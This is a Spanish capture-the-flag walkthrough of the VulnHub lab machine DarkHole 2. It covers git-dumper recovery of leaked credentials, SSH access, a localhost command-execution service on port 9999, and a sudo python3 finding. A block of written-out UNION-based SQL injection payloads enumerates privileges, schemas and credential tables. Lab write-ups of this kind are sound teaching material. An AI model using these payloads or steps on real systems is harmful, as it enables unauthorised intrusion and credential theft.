Vemos que tiene el puerto 22 y 80 abierto, vamos a realizar un segundo escaneo para identificar que servicios y versiones están corriendo:
Vemos lo siguiente:
Puerto
Información
22/tcp
OpenSSH 8.2p1 Ubuntu
80/tcp
Apache httpd 2.4.41 / Nos reporta que a encontrado el directorio .git .
Al ver que esta expuesto la carpeta .git decido dumpearla con git-dumper :
Bien ya teniendo esta información, antes de seguir con ella vamos a buscar otra, vamos a ver la aplicación web:
Podemos ver que tiene un Login , vamos a intentar credenciales básicas:
Se ve que pide de un correo electrónico, vamos a probar en el campo de la contraseña añadir una ' a ver si sucede algo fuera de lo normal:
Sigue exactamente igual… En la web no hay gran cosa, así que vamos a ver el git:
Vamos a ver el login.php para ver si hay algo mal configurado y que podamos abusar de el:
Viendo las primeras lineas del código veo que incluye el archivo config.php que se encuentra en el directorio config. Vamos a darle un ojo:
Tenemos unas credenciales:
Username
Password
root
darkhole_2
En este caso son las credenciales de acceso a la base de datos, esto nos está chivando que el usuario empleado es root con una posibilidad de tener super privilegios en la base de datos y poder realizar muchas acciones abusando de los privilegios. Pero primero necesitamos encontrar un SQLi . En el código vemos lo que hace con nuestro input:
Vemos que nos sanitiza la entrada con mysqli_real_escape_string así que por aquí no puede a ver un SQLi. Vamos a ver los logs del .git:
Shell as jehad
Vemos varios logs, donde en 1 vemos un correo electrónico → anmar-v7@hotmail.com. Vamos a ver que se realizó en ese log ya que comenta que añadió cosas en el login.php:
Vemos otras credenciales:
Username
Password
root
darkhole_2
lush@admin.com
321
Vemos que esto estaba en el login.php, vamos a ver si son válidas:
Bien!! Me estoy
en un detalle que es el parámetro por GETid , vamos a probar a poner una comilla simple:
Vemos que la aplicación no carga. vamos a ver que código de estado devuelve:
Vamos a emplear ORDER BY para filtrar por un número de columnas hasta encontrar el exacto:
' order by 100-- -:
Era poco probable, vamos a bajarlo a 10:
Nada… vamos a ir probando 9,8,7… hasta que de otro código de estado:
Vemos que con 6 funciona, para probar vamos a poner 7:
Vale, ya conocemos el número exacto de columnas que tiene la tabla. Vamos a emplear UNION para ver si se reflejan los “datos basura":
Vemos que no… Ya que hay datos existentes y se reflejan primero. Vamos a probar a ir a id=2:
Vemos que aquí ya no hay datos, vamos a probar el UNION:
Vemos que se relfjan las columnas 2,3,5,6 y las columnas 1,4 no. Trabajaremos en la columna 2 ya que se refleja. Vamos a confirmar que el usuario que esta conectado a la db es root con la función user():
Vamos a ver si tenemos super privilegios en la base de datos, para ello usaremos la base de datos mysql y la tabla user apuntando a la columna super_priv:
En este caso nos dice que Y que significa Yes así que tenemos super privilegios en la base de datos. Vamos a intentar enumerar los privilegios que tenemos:
Podemos fijarnos en 2 problemas:
No vemos todos los resultados solo muestra la primera fila.
Estamos viendo los privilegios de otro usuario al que no estamos interesados
Para ver todos los resultados vamos a usar group_concat() que lo que hace es concatenar todas las filas en 1:
Pero no nos mostrará nada. Vamos a enumerar la base de datos:
Vemos solo mysql y es raro, vamos a usar group_concat:
Vemos la base de datos darkhole_2, vamos a ver que db esta empleando actualmente:
Vale, vamos a enumerar que tablas tiene la base de datos darkhole_2:
Existen 2 tablas:
users
ssh Vamos a ver la tabla users a ver que columnas contiene:
Vemos las siguientes columnas:
address
contact_number
email
id
password
username
Vemos ya las credenciales obtenidas anteriormente por los logs de git. Vamos a ver las columnas de la otra tabla llamada ssh:
Tenemos la siguientes credenciales:
Username
Password
Servicio
root
darkhole_2
mysql
lush@admin.com
321
login (http)
jehad
fool
ssh
Vamos a probar las credenciales por SSH:
Shell as losy
Vamos a ver el .bash_history de nuestro usuario actual jehad:
Vemos que ha realizado peticiones por GET al puerto 9999 que estaría corriendo en localhost, vamos a comprobar si sigue activo:
Sigue activo, vamos a enviarle un petición con curl:
Vemos que espera un parámetro por GET llamado cmd, vamos a enviarselo con un valor de un comando del sistema como id, ya que normalmente el parámetro cmd se emplea para ejecutar comandos a nivel de sistema:
Vemos que lo ejecuta como el usuario losy, vamos a ponernos en escucha en otra shell por ssh ya que esto corre por su localhost y no llegará a nuestra máquina, vamos a ver si tiene nc:
' union select 1,super_priv,3,4,5,6 from mysql.user-- -
' union select 1,grantee,privilege_type,4,5,6 from information_schema.user_privileges-- -
' union select 1,group_concat(grantee),3,4,group_concat(privilege_type),6 from information_schema.user_privileges where grantee="'root'@'localhost'"-- -
' union select 1,schema_name,3,4,5,6 from information_schema.schemata-- -
' union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata-- -
' union select 1,database(),3,4,5,6-- -
' union select 1,group_concat(table_name),3,4,group_concat(table_schema),6 from information_schema.tables where table_schema='darkhole_2'-- -
' union select 1,group_concat(column_name),3,4,group_concat(table_name),group_concat(table_schema) from information_schema.columns where table_name='users' and table_schema='darkhole_2'-- -
' union select 1,username,3,4,password,6 from darkhole_2.users-- -
' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='ssh' and table_schema='darkhole_2'-- -
┌──(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/nmap/git]
└─$ ssh jehad@192.168.64.129
jehad@192.168.64.129's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 01 Jul 2025 06:13:39 PM UTC
System load: 0.01 Processes: 233
Usage of /: 49.9% of 12.73GB Users logged in: 0
Memory usage: 20% IPv4 address for ens33: 192.168.64.129
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Sep 3 05:49:05 2021 from 192.168.135.128
jehad@darkhole:~$
losy@darkhole:~$ sudo -l
[sudo] password for losy:
Matching Defaults entries for losy on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User losy may run the following commands on darkhole:
(root) /usr/bin/python3